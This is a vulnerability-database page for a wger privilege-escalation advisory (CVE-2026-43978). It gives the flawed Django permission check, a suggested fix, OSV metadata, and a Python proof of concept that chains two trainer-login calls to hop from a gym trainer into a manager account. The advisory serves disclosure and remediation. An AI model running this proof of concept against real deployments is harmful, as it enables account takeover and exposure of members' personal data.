if request.user.has_perm('gym.gym_trainer') and (
user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
Suggested fix:
trainer_identity_pk = request.session.get('trainer.identity')
if not request.user.has_perm('gym.gym_trainer'):
if not trainer_identity_pk:
return HttpResponseForbidden()
# Verify the original trainer in the session still holds the permission
original_trainer = get_object_or_404(User, pk=trainer_identity_pk)
if not original_trainer.has_perm('gym.gym_trainer'):
return HttpResponseForbidden()
# Target-user check must apply in both direct and chained hop scenarios
if (request.user.has_perm('gym.gym_trainer') or trainer_identity_pk) and (
user.has_perm('gym.gym_trainer')
or user.has_perm('gym.manage_gym')
or user.has_perm('gym.manage_gyms')
):
return HttpResponseForbidden()
Severity
8.1 (High)
Impacted products
| Name | purl | wger | pkg:pypi/wger |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "wger",
"purl": "pkg:pypi/wger"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.5"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"1.1",
"1.1.1",
"1.2",
"1.2rc1",
"1.3",
"1.4",
"1.5",
"1.6",
"1.6.1",
"1.7",
"1.8",
"1.9",
"2.0",
"2.1"
]
}
],
"aliases": [
"CVE-2026-43978",
"GHSA-9qpr-vc49-hqg2"
],
"details": "### Summary\nA gym trainer can escalate their session to any higher-privileged account (gym manager, general manager) by chaining two calls to the trainer-login endpoint. Once a trainer performs a legitimate switch into a low-privileged user, the session flag `trainer.identity`\nis set and this flag alone bypasses the permission check on all subsequent trainer-login calls, allowing the trainer to hop into any account including gym managers.\n\n### Details\nIn `wger/core/views/user.py` lines 169\u2013178, the permission check uses an AND condition:\n\n```python\n# Line 169 \u2014 passes if EITHER condition is false\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027) and not request.session.get(\u0027trainer.identity\u0027):\n return HttpResponseForbidden()\n\n# Line 173 \u2014 only runs when current user IS a trainer, not when identity is inherited\nif request.user.has_perm(\u0027gym.gym_trainer\u0027) and (\n user.has_perm(\u0027gym.manage_gym\u0027) or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```\n\nAfter hop 1 (trainer \u2192 regular user), `request.user` is the regular user who has no `gym_trainer` permission, but `session[\u0027trainer.identity\u0027]` is set. Line 169 evaluates:\n`not False AND not False` \u2192 the second operand short-circuits the check. Line 173 is never reached because the current user is no longer a trainer. The attacker can therefore call trainer-login again targeting a manager account and it succeeds.\n\n\n### PoC\nRequirements: A running wger instance with at least one gym trainer account and one gym manager account in the same gym.\n\n```python\nimport requests\n\nBASE = \u0027http://localhost:80\u0027\ns = requests.Session()\n\ndef whoami():\n r = s.get(f\u0027{BASE}/api/v2/userprofile/\u0027,\n headers={\u0027Accept\u0027: \u0027application/json\u0027})\n return r.json().get(\u0027username\u0027)\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"=\" * 55)\nprint(\" PoC: Trainer Login Privilege Escalation\")\nprint(\" wger/core/views/user.py:169\")\nprint(\"=\" * 55)\n\n# \u2500\u2500\u2500 STEP 1: Normal login as gym trainer \u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 1] Login as \u0027trainer1\u0027\")\nprint(\" trainer1 has ONLY \u0027gym.gym_trainer\u0027 permission\")\n\ns.get(f\u0027{BASE}/en/user/login\u0027)\ns.post(f\u0027{BASE}/en/user/login\u0027, data={\n \u0027username\u0027: \u0027trainer1\u0027,\n \u0027password\u0027: \u0027pass1234\u0027,\n \u0027csrfmiddlewaretoken\u0027: s.cookies[\u0027csrftoken\u0027],\n})\nprint(f\" Current user : {whoami()}\")\nprint(f\" Permission : gym.gym_trainer (NOT manage_gym)\")\n\n# \u2500\u2500\u2500 STEP 2: Legitimate trainer-login \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 2] trainer1 uses trainer-login to switch into \u0027regular1\u0027 (pk=4)\")\nprint(\" This is ALLOWED \u2014 trainer1 has gym_trainer permission\")\nprint(\" Side effect: session[\u0027trainer.identity\u0027] = trainer1_pk\")\n\ns.get(f\u0027{BASE}/en/user/4/trainer-login\u0027)\nprint(f\" Current user : {whoami()}\")\nprint(f\" Session flag : trainer.identity is now SET\")\n\n# \u2500\u2500\u2500 STEP 3: EXPLOIT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n[STEP 3] EXPLOIT \u2014 now as \u0027regular1\u0027, call trainer-login for \u0027manager1\u0027 (pk=3)\")\nprint(\" regular1 has ZERO permissions\")\nprint(\" BUT session[\u0027trainer.identity\u0027] is set from Step 2\")\nprint(\" Line 169 check: `not has_perm() AND not session.get()` \u2192 BYPASSED\")\n\ns.get(f\u0027{BASE}/en/user/3/trainer-login\u0027)\nresult = whoami()\nprint(f\" Current user : {result}\")\n\n# \u2500\u2500\u2500 RESULT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"\\n\" + \"=\" * 55)\nif result == \u0027manager1\u0027:\n print(\" RESULT : !! VULNERABLE !!\")\n print(\" trainer1 (gym_trainer) is now logged in as manager1\")\n print(\" manager1 has \u0027gym.manage_gym\u0027 \u2014 full gym admin access\")\nelse:\n print(\" RESULT : Not vulnerable (got: \" + result + \")\")\nprint(\"=\" * 55)\n```\n\nOutput on wger 2.5.0a2:\n\n\u003cimg width=\"728\" height=\"628\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3e8affa3-4728-480c-bb57-929f66723ea5\" /\u003e\n\n### Impact\nAny authenticated gym trainer can take over a gym manager or general gym manager account within the same gym. This grants full gym administration capabilities including viewing all member data, modifying contracts, managing gym configuration, and accessing other trainers\u0027 and managers\u0027 personal information.\n\n### How to fix\n\nThe root cause is a logical error in wger/core/views/user.py at line 169. The AND operator means that if session[\u0027trainer.identity\u0027] is set, the entire permission check is skipped \u2014 allowing any user who has previously been switched into to perform further trainer-login hops without holding the gym.gym_trainer permission themselves. Additionally, the target-user protection block at line 173 only executes when request.user is a trainer, so it never fires during a chained hop.\n\nVulnerable code (user.py:169\u2013178):\n\n```\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027) and not request.session.get(\u0027trainer.identity\u0027):\n return HttpResponseForbidden()\n\nif request.user.has_perm(\u0027gym.gym_trainer\u0027) and (\n user.has_perm(\u0027gym.gym_trainer\u0027)\n or user.has_perm(\u0027gym.manage_gym\u0027)\n or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```\n\nSuggested fix:\n\n```\ntrainer_identity_pk = request.session.get(\u0027trainer.identity\u0027)\n\nif not request.user.has_perm(\u0027gym.gym_trainer\u0027):\n if not trainer_identity_pk:\n return HttpResponseForbidden()\n # Verify the original trainer in the session still holds the permission\n original_trainer = get_object_or_404(User, pk=trainer_identity_pk)\n if not original_trainer.has_perm(\u0027gym.gym_trainer\u0027):\n return HttpResponseForbidden()\n\n# Target-user check must apply in both direct and chained hop scenarios\nif (request.user.has_perm(\u0027gym.gym_trainer\u0027) or trainer_identity_pk) and (\n user.has_perm(\u0027gym.gym_trainer\u0027)\n or user.has_perm(\u0027gym.manage_gym\u0027)\n or user.has_perm(\u0027gym.manage_gyms\u0027)\n):\n return HttpResponseForbidden()\n```",
"id": "PYSEC-2026-3420",
"modified": "2026-07-13T16:07:32.870045Z",
"published": "2026-07-13T15:19:05.210877Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/wger-project/wger/security/advisories/GHSA-9qpr-vc49-hqg2"
},
{
"type": "PACKAGE",
"url": "https://github.com/wger-project/wger"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/wger"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-9qpr-vc49-hqg2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43978"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "wger: Privilege escalation via trainer-login session chaining allows gym trainer to impersonate gym manager"
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.